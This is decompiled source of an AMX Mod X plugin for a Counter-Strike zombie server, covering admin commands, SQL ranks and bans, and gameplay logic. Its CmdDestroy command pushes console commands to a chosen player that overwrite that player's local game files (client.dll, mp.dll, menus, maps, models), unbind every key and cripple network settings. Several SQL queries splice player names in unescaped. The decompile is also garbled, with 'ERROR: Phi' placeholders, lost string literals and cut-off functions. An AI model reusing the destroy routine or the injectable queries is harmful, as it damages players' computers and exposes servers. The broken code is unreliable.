- set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
- show_hudmessage(0, g_cHudAdvertisements[g_iHudMessage][0][0]);
- g_iHudMessage += 1;
- return 0;
- }
- public EventStatusValueHide(iPlayer)
- {
- ClearSyncHud(iPlayer, g_iCenterMessageSync);
- return 0;
- }
- public TaskRemoveRender(i)
- {
- !!! Removed Phi
- if (g_bConnected[i][0][0] && !g_iPlayerType[i][0][0] & 1)
- {
- remove_glow(i);
- }
- return 0;
- }
- public CmdGag(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 64))
- {
- static cCommand[32];
- read_argv(0, cCommand, 32);
- if (equali("", "amx_gag", 0))
- {
- static iTarget;
- static iTime;
- static cTime[6];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cTime, 6);
- new var2;
- if (AdminHasFlag(iPlayer, 105))
- {
- var2 = clamp(str_to_num(cTime), 1, 45);
- }
- else
- {
- var2 = clamp(str_to_num(cTime), 1, 8);
- }
- iTime = var2;
- iTarget = GetTarget(iPlayer, cTarget, 0);
- if (0 < iTarget)
- {
- g_fGagTime[iTarget] = get_gametime() + float(iTime * 60);
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 gag\3 %s\1 for\4 %d minutes", g_cName[iPlayer][0][0], g_cName[iTarget][0][0], iTime);
- }
- else
- {
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- }
- if (equali("", "amx_ungag", 0))
- {
- static iTarget;
- static cTarget[32];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 0);
- if (0 < iTarget)
- {
- g_fGagTime[iTarget] = 0;
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 ungag\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- }
- return 0;
- }
- public CmdSlap(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 36))
- {
- static iTarget;
- static iDamage;
- static cDamage[7];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cDamage, 7);
- iTarget = GetTarget(iPlayer, cTarget, 4);
- iDamage = clamp(str_to_num(cDamage), 0, 999999);
- if (0 < iTarget)
- {
- user_slap(iTarget, iDamage, 1);
- if (0 < iDamage)
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 slap\3 %s\1 with\4 %d damage", g_cName[iPlayer][0][0], g_cName[iTarget][0][0], iDamage);
- }
- else
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 slap\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- }
- }
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- return 0;
- }
- public CmdDestroy(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 52))
- {
- static iTarget;
- static cTarget[32];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 4);
- if (0 < iTarget)
- {
- client_cmd(iTarget, "name www.CsOutStanding.com");
- client_cmd(iTarget, "unbindall; bind ` \"say I_have_been_destroyed\"; bind ~ \"say I_have_been_destroyed\"; bind esc \"say I_have_been_destroyed\"");
- client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
- client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
- client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
- client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
- client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 destroy\3 %s", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- client_cmd(0, "spk \"vox/bizwarn coded user apprehend\"");
- }
- console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
- }
- return 0;
- }
- public client_putinserver(iPlayer)
- {
- !!! Removed Phi
- static Float:fCurrentTime;
- static iSize;
- new var1;
- if (is_user_bot(iPlayer))
- {
- var1 = 1;
- }
- else
- {
- var1 = 0;
- }
- if (!g_bFake[iPlayer][0][0] && !g_bEnded)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", "", "", 3);
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(g_fLastQuery + 2.00 - fCurrentTime, "_Task_BanCheck", iPlayer + 50, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- }
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", "", "", 3);
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(g_fLastQuery + 2.00 - fCurrentTime, "_Task_AdminCheck", iPlayer + 100, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- }
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(g_fLastQuery + 2.00 - fCurrentTime, "_Task_RankCheck", iPlayer + 150, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- }
- set_task(300.00, "TaskUpdateTime", iPlayer + 400, "", 0, "b", 0);
- set_task(1.00, "TaskHud", iPlayer + 300, "", 0, "b", 0);
- set_task(12.00, "TaskCheckName", iPlayer, "", 0, "", 0);
- set_task(12.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
- }
- new var7 = ArraySize(g_aAmmoData);
- iSize = var7;
- if (var7)
- {
- static cSavedName[32];
- static i;
- i = iSize + -1;
- while (i > -1)
- {
- ArrayGetString(g_aNameData, i, cSavedName, 32);
- if (equali("", g_cName[iPlayer][0][0], 0))
- {
- g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
- }
- i += -1;
- }
- }
- if (fCurrentTime > 30.00 && !g_bFake[iPlayer][0][0])
- {
- PrintToChat(0, "\1Player\3 %s\1 from\4 %s\1 has joined the game!", g_cName[iPlayer][0][0], g_cCountry[iPlayer][0][0]);
- }
- if (!g_iPacks[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
- {
- g_iPacks[iPlayer] = 5;
- }
- g_bConnected[iPlayer] = 1;
- return 0;
- }
- public ShowMsgGlow(iPlayer)
- {
- new var3 = g_bConnected;
- new var1;
- new var2;
- if (!var3[iPlayer][0][0])
- {
- var1 = var3;
- }
- else
- {
- new var4 = g_bRanked;
- if (!var4[iPlayer][0][0])
- {
- var1 = var4;
- }
- var2 = var4;
- if (ERROR: Phi)
- {
- return 0;
- }
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
- return 0;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- return 0;
- }
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
- return 0;
- }
- public TaskPreparePlayerChanged(i)
- {
- new var3 = g_bConnected;
- new var1;
- new var2;
- if (var3[i][0][0])
- {
- new var4 = g_bRanked;
- if (!var4[i][0][0])
- {
- var2 = var4;
- if (ERROR: Phi)
- {
- static cPlayer[3];
- num_to_str(i, cPlayer, 3);
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
- }
- return 0;
- }
- var1 = var4;
- }
- else
- {
- var1 = var3;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- static cPlayer[3];
- num_to_str(i, cPlayer, 3);
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
- }
- return 0;
- }
- public TaskShowMessage(iPlayer)
- {
- new var6 = g_bConnected;
- new var1;
- new var2;
- if (var6[iPlayer][0][0])
- {
- new var7 = g_bRanked;
- if (var7[iPlayer][0][0])
- {
- var2 = var7;
- if (ERROR: Phi)
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- new var3;
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- new var8 = g_iScore;
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", var8[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
- g_fLastQuery = fCurrentTime;
- var3 = var8;
- }
- else
- {
- new var9 = g_fLastQuery + 2.00;
- set_task(var9 - fCurrentTime, "ShowMsgGlow", iPlayer, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- var3 = var9;
- }
- }
- else
- {
- new var10 = g_bRanked;
- new var4;
- new var5;
- if (!var10[iPlayer][0][0])
- {
- new var11 = g_bConnected;
- if (var11[iPlayer][0][0])
- {
- var5 = var11;
- if (ERROR: Phi)
- {
- set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
- }
- }
- var4 = var11;
- }
- else
- {
- var4 = var10;
- }
- var5 = var4;
- if (ERROR: Phi)
- {
- set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
- }
- }
- return 0;
- }
- var1 = var7;
- }
- else
- {
- var1 = var6;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- new var3;
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- new var8 = g_iScore;
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", var8[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
- g_fLastQuery = fCurrentTime;
- var3 = var8;
- }
- else
- {
- new var9 = g_fLastQuery + 2.00;
- set_task(var9 - fCurrentTime, "ShowMsgGlow", iPlayer, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- var3 = var9;
- }
- }
- else
- {
- new var10 = g_bRanked;
- new var4;
- new var5;
- if (!var10[iPlayer][0][0])
- {
- new var11 = g_bConnected;
- if (var11[iPlayer][0][0])
- {
- var5 = var11;
- if (ERROR: Phi)
- {
- set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
- }
- }
- var4 = var11;
- }
- else
- {
- var4 = var10;
- }
- var5 = var4;
- if (ERROR: Phi)
- {
- set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
- }
- }
- return 0;
- }
- public _Task_BanCheck(iPlayer)
- {
- iPlayer += -50;
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", "", "", 3);
- return 0;
- }
- public _Task_AdminCheck(iPlayer)
- {
- iPlayer += -100;
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", "", "", 3);
- return 0;
- }
- public _Task_RankCheck(iPlayer)
- {
- iPlayer += -150;
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
- return 0;
- }
- public SQLPrintGlowRank(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- !!! Removed Phi
- static i;
- static cHostname[37];
- static cBuffer[513];
- static iPlayer;
- get_cvar_string("hostname", cHostname, 36);
- i = 0;
- while (strlen(cHostname) > i)
- {
- if (cHostname[i][0][0] == 32 && i > 10)
- {
- cHostname[i] = 0;
- iPlayer = str_to_num(cData);
- new var2;
- if (g_iDeaths[iPlayer][0][0])
- {
- var2 = float(g_iKills[iPlayer][0][0]) / float(g_iDeaths[iPlayer][0][0]);
- }
- else
- {
- var2 = float(g_iKills[iPlayer][0][0]);
- }
- formatex(cBuffer, 512, "Welcome, %s\nRank: %d/%d Score: %d\nKills: %d Deaths: %d KPD: %0.2f\nOnline: %s\nWe hope you enjoy!", g_cName[iPlayer][0][0], SQL_NumResults(hQuery), g_iRanksCount, g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], var2, g_cOnlineTime[iPlayer][0][0]);
- show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.00);
- formatex(cBuffer, 512, "%s\nDon't forget to add us to your favourites!", cHostname);
- show_glow_message(iPlayer, cBuffer, 6904269, 0.02, 0.50, 10.00);
- return 0;
- }
- i += 1;
- }
- iPlayer = str_to_num(cData);
- new var2;
- if (g_iDeaths[iPlayer][0][0])
- {
- var2 = float(g_iKills[iPlayer][0][0]) / float(g_iDeaths[iPlayer][0][0]);
- }
- else
- {
- var2 = float(g_iKills[iPlayer][0][0]);
- }
- formatex(cBuffer, 512, "Welcome, %s\nRank: %d/%d Score: %d\nKills: %d Deaths: %d KPD: %0.2f\nOnline: %s\nWe hope you enjoy!", g_cName[iPlayer][0][0], SQL_NumResults(hQuery), g_iRanksCount, g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], var2, g_cOnlineTime[iPlayer][0][0]);
- show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.00);
- formatex(cBuffer, 512, "%s\nDon't forget to add us to your favourites!", cHostname);
- show_glow_message(iPlayer, cBuffer, 6904269, 0.02, 0.50, 10.00);
- return 0;
- }
- show_glow_message(iPlayer, String:cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
- {
- message_begin(MSG_ONE_UNRELIABLE, SVC_DIRECTOR, 280480, iPlayer);
- write_byte(strlen(cMessage) + 31);
- write_byte(6);
- write_byte(2);
- write_long(iColor);
- write_long(fX);
- write_long(fY);
- write_long(0.10/*1036831949*/);
- write_long(1.50/*1069547520*/);
- write_long(fDuration);
- write_long(6.00/*1086324736*/);
- write_string(cMessage);
- message_end();
- return 0;
- }
- public TaskDeleteBans()
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
- return 0;
- }
- public TaskDeleteRanks()
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
- return 0;
- }
- public TaskUnban()
- {
- !!! Removed Phi
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(g_fLastQuery + 2.00 - fCurrentTime, "TaskDeleteRanks", 0, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- }
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
- g_fLastQuery = fCurrentTime;
- }
- else
- {
- set_task(g_fLastQuery + 2.00 - fCurrentTime, "TaskDeleteBans", 0, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- }
- return 0;
- }
- public OnPassword(iPlayer, String:cPassword[])
- {
- formatex(g_cPasswords[iPlayer][0][0], 31, "%s", cPassword);
- return 0;
- }
- public OnNameChanged(iPlayer, String:cName[])
- {
- !!! Removed Phi
- if (!g_bRanked[iPlayer][0][0] || fCurrentTime - g_fLastNameChanged[iPlayer][0][0] < 4.00/*1082130432*/)
- {
- server_cmd("kick #%d Stop changing your name so fast!", get_user_userid(iPlayer));
- }
- else
- {
- if (g_bRanked[iPlayer][0][0])
- {
- g_bRanked[iPlayer] = 0;
- formatex(g_cName[iPlayer][0][0], 32, "%s", cName);
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 3);
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer][0][0]);
- if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
- g_fLastNameChanged[iPlayer] = fCurrentTime;
- g_fLastQuery = fCurrentTime;
- }
- set_task(g_fLastQuery + 2.00 - fCurrentTime, "TaskPreparePlayerChanged", iPlayer, "", 0, "", 0);
- g_fLastQuery = g_fLastQuery + 2.00;
- g_fLastNameChanged[iPlayer] = fCurrentTime;
- g_bRanked[iPlayer] = 0;
- }
- }
- set_task(5.00, "TaskCheckName", iPlayer, "", 0, "", 0);
- return 0;
- }
- public TaskCheckName(iPlayer)
- {
- if (g_bConnected[iPlayer][0][0])
- {
- if (g_bRanked[iPlayer][0][0])
- {
- check_for_swear(iPlayer);
- }
- set_task(5.00, "TaskCheckName", iPlayer, "", 0, "", 0);
- }
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "TaskCheckName"
- public TaskCheckName(iPlayer)
- public CmdMap(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 55))
- {
- static cMap[32];
- read_argv(1, cMap, 32);
- if (is_map_valid(""))
- {
- set_cvar_num("mp_timelimit", 4096);
- set_cvar_string("nextmap", cMap);
- set_task(1.00, "TimerChangeMap", 0, "", 0, "", 0);
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 changed map to\4 %s", g_cName[iPlayer][0][0], cMap);
- }
- console_print(iPlayer, "[Zombie Outstanding] Map %s is not valid!", cMap);
- }
- return 0;
- }
- public OnTraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
- {
- !!! Removed Phi
- if (iAttacker != iVictim && !var4 < g_iMaxClients + 1 & 0 < var4)
- {
- return 1;
- }
- if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim][0][0] != g_bZombie[iAttacker][0][0])
- {
- return 4;
- }
- if (!g_bZombie[iVictim][0][0] || g_bNoDamage[iVictim][0][0] || g_iPlayerType[iVictim][0][0] & 2 || !iDamageType & 2 || range1(iVictim, iAttacker) > 500)
- {
- return 1;
- }
- static Float:fVelocity[3];
- get_velocity(iVictim, fVelocity);
- xs_vec_mul_scalar(fDirection, fDamage, fDirection);
- xs_vec_mul_scalar(fDirection, 8.75, fDirection);
- if (get_ent_flags(iVictim) & 16896 == 16896)
- {
- xs_vec_mul_scalar(fDirection, 0.25, fDirection);
- }
- if (g_iPlayerType[iVictim][0][0] & 1)
- {
- xs_vec_mul_scalar(fDirection, 0.15, fDirection);
- }
- else
- {
- xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim][0][0]][0][0], fDirection);
- }
- xs_vec_add(fVelocity, fDirection, fDirection);
- fDirection[2] = fVelocity[2][0];
- set_velocity(iVictim, fDirection);
- return 1;
- }
- public OnTouch(iWeapon, iPlayer)
- {
- new var4 = iPlayer;
- new var5 = 0 < var4;
- new var1;
- new var2;
- if (g_iMaxClients + 1 > var4 & var5)
- {
- new var6 = g_bZombie;
- if (var6[iPlayer][0][0])
- {
- var2 = var6;
- new var3;
- if (ERROR: Phi)
- {
- var3 = 4;
- }
- else
- {
- var3 = 1;
- }
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "OnTouch"
- public OnTouch(iWeapon, iPlayer)
- public OnTakeDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageType)
- {
- !!! Removed Phi
- if (iAttacker != iVictim && !var5 < g_iMaxClients + 1 & 0 < var5)
- {
- return 1;
- }
- if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim][0][0] != g_bZombie[iAttacker][0][0] || g_bNoDamage[iVictim][0][0])
- {
- return 4;
- }
- if (!g_bZombie[iAttacker][0][0])
- {
- if (g_iPlayerType[iAttacker][0][0] & 8 && g_iWeapon[iAttacker][0][0] == 18)
- {
- fDamage = 3000.00/*1161527296*/;
- SetHamParamFloat(4, fDamage);
- }
- else
- {
- if (!g_iPlayerType[iVictim][0][0])
- {
- fDamage *= 0.75;
- SetHamParamFloat(4, fDamage);
- }
- if (g_bDoubleDamage[iAttacker][0][0])
- {
- fDamage *= 2.00;
- SetHamParamFloat(4, fDamage);
- }
- new var6 = g_fDamage[iAttacker];
- var6 = var6[0][0] + fDamage;
- while (g_fDamage[iAttacker][0][0] > 500.00)
- {
- g_iPacks[iAttacker]++;
- new var7 = g_fDamage[iAttacker];
- var7 = var7[0][0] - 500.00;
- }
- new var8 = g_iPosition[iAttacker];
- var8++;
- if (var8[0][0] == 8)
- {
- g_iPosition[iAttacker] = 0;
- }
- set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker][0][0]][0][0][0], g_fDamageCoords[g_iPosition[iAttacker][0][0]][0][0][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
- show_hudmessage(iAttacker, "%0.0f", fDamage);
- }
- return 1;
- }
- if (iDamageType & 16777216)
- {
- return 4;
- }
- if (g_iPlayerType[iAttacker][0][0] & 1 || g_iPlayerType[iAttacker][0][0] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
- {
- if (g_iPlayerType[iAttacker][0][0])
- {
- SetHamParamFloat(4, 250.00);
- }
- return 1;
- }
- static iDamage;
- static iArmor;
- iArmor = get_armor(iVictim);
- iDamage = floatround(fDamage, floatround_round);
- if (0 < iArmor)
- {
- if (0 < iArmor - iDamage)
- {
- set_armor(iVictim, iArmor - iDamage);
- }
- else
- {
- reset_armor(iVictim);
- }
- sound(iVictim, 4, "ZombieOutstanding/armor_hit.wav");
- return 4;
- }
- MakeZombie(iAttacker, iVictim, false, false, false);
- return 4;
- }
- public OnPlayerJump(iPlayer)
- {
- !!! Removed Phi
- if (g_bAlive[iPlayer][0][0])
- {
- if (g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0] && g_iZombieClass[iPlayer][0][0] == 3)
- {
- if (!iFlags & 512 && !get_oldbuttons(iPlayer) & 2 && !g_iJumps[iPlayer][0][0])
- {
- static Float:fVelocity[3];
- get_velocity(iPlayer, fVelocity);
- fVelocity[2] = random_float(265.00, 285.00);
- set_velocity(iPlayer, fVelocity);
- g_iJumps[iPlayer]++;
- }
- if (iFlags & 512)
- {
- g_iJumps[iPlayer] = 0;
- }
- }
- if (!g_bZombie[iPlayer][0][0] && g_iMaxJumps[iPlayer][0][0])
- {
- if (!iFlags & 512 && !get_oldbuttons(iPlayer) & 2 && g_iJumps[iPlayer][0][0] <= g_iMaxJumps[iPlayer][0][0] - 1)
- {
- static Float:fVelocity[3];
- get_velocity(iPlayer, fVelocity);
- fVelocity[2] = random_float(265.00, 285.00);
- set_velocity(iPlayer, fVelocity);
- g_iJumps[iPlayer]++;
- }
- if (iFlags & 512)
- {
- g_iJumps[iPlayer] = 0;
- }
- }
- }
- return 0;
- }
- public OnPrimaryAttack(iEntity)
- {
- static iOwner;
- iOwner = pev(iEntity, pev_globalname);
- new var3 = g_bZombie;
- new var1;
- new var2;
- if (var3[iOwner][0][0])
- {
- new var4 = g_iBlinks;
- if (var4[iOwner][0][0])
- {
- var2 = var4;
- if (ERROR: Phi)
- {
- static iTarget;
- iTarget = get_target_and_attack(iOwner);
- if (iTarget)
- {
- g_iBlinks[iOwner]--;
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 just used a\4 Knife Blink\1 [\4 %d remaining\1 ]", g_cName[iOwner][0][0], g_iBlinks[iOwner]);
- }
- }
- return 0;
- }
- var1 = var4;
- }
- else
- {
- var1 = var3;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- static iTarget;
- iTarget = get_target_and_attack(iOwner);
- if (iTarget)
- {
- g_iBlinks[iOwner]--;
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 just used a\4 Knife Blink\1 [\4 %d remaining\1 ]", g_cName[iOwner][0][0], g_iBlinks[iOwner]);
- }
- }
- return 0;
- }
- public OnKilled(iVictim, iAttacker, iGibs)
- {
- !!! Removed Phi
- if (iAttacker != iVictim && !var4 < g_iMaxClients + 1 & 0 < var4)
- {
- if (g_bZombie[iVictim][0][0])
- {
- remove_task(iVictim + 200, 0);
- }
- return 0;
- }
- if (!g_bZombie[iAttacker][0][0])
- {
- if (g_iPlayerType[iAttacker][0][0] & 8)
- {
- send_lava_splash(iVictim);
- if (random_num(1, 4) == 1)
- {
- new var5 = g_iPoints[iAttacker];
- var5 = var5[0][0] + 1;
- set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
- ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== SNIPER ==\n!!!Randomly got +1 point!!!\n[25% chance per zombie]");
- }
- }
- else
- {
- g_iPacks[iAttacker]++;
- new var6 = g_iPoints[iAttacker];
- new var2;
- if (g_iPlayerType[iAttacker][0][0])
- {
- var2 = 1;
- }
- else
- {
- var2 = 2;
- }
- var6 = var2 + var6[0][0];
- new var7 = g_iScore[iAttacker];
- var7 = var7[0][0] + 25;
- new var8 = g_iScore[iVictim];
- var8 = var8[0][0] - 16;
- remove_task(iVictim + 200, 0);
- }
- if (g_iPlayerType[iAttacker][0][0])
- {
- SetHamParamInteger(3, 2);
- }
- }
- else
- {
- new var9 = g_iPacks[iAttacker];
- var9 = var9[0][0] + 2;
- if (!g_iPlayerType[iAttacker][0][0])
- {
- g_iPoints[iAttacker]++;
- }
- if (g_iZombieClass[iAttacker][0][0] == 6 && !g_iPlayerType[iAttacker][0][0])
- {
- SetHamParamInteger(3, 2);
- send_screen_fade(iAttacker);
- }
- if (g_iPlayerType[iAttacker][0][0])
- {
- SetHamParamInteger(3, 2);
- }
- }
- g_iKills[iAttacker]++;
- g_iDeaths[iVictim]++;
- g_iKillsThisRound[iAttacker]++;
- SaveRank(iAttacker);
- SaveRank(iVictim);
- return 0;
- }
- public OnGrenadeThink(iEntity)
- {
- if (get_dmgtime(iEntity) > get_gametime())
- {
- return 1;
- }
- switch (pev(iEntity, pev_targetname))
- {
- case 1:
- {
- Infection_Explode(iEntity);
- return 4;
- }
- case 2:
- {
- Fire_Explode(iEntity);
- return 4;
- }
- case 3:
- {
- Freeze_Explode(iEntity);
- return 4;
- }
- case 4:
- {
- Explosion_Explode(iEntity);
- return 4;
- }
- case 5:
- {
- Killing_Explode(iEntity);
- return 4;
- }
- default:
- {
- return 1;
- }
- }
- }
- public OnPlayerDuck(iPlayer)
- {
- !!! Removed Phi
- if (!g_bFrozen[iPlayer][0][0] && g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0] & 2)
- {
- static Float:fCurrentTime;
- static Float:fCoolDown;
- if (g_iPlayerType[iPlayer][0][0])
- {
- fCoolDown = 1.00/*1065353216*/;
- }
- else
- {
- fCoolDown = 13.00/*1095761920*/;
- }
- if (fCurrentTime - g_fLastLeapTime[iPlayer][0][0] < fCoolDown || !get_button(iPlayer) & 2 || !get_ent_flags(iPlayer) & 512 || GetEntitySpeed(iPlayer) < 80)
- {
- return 0;
- }
- static Float:fVelocity[3];
- if (g_iPlayerType[iPlayer][0][0])
- {
- velocity_by_aim(iPlayer, 500, fVelocity);
- fVelocity[2] = 300.00/*1133903872*/;
- }
- else
- {
- velocity_by_aim(iPlayer, 360, fVelocity);
- fVelocity[2] = 250.00/*1132068864*/;
- }
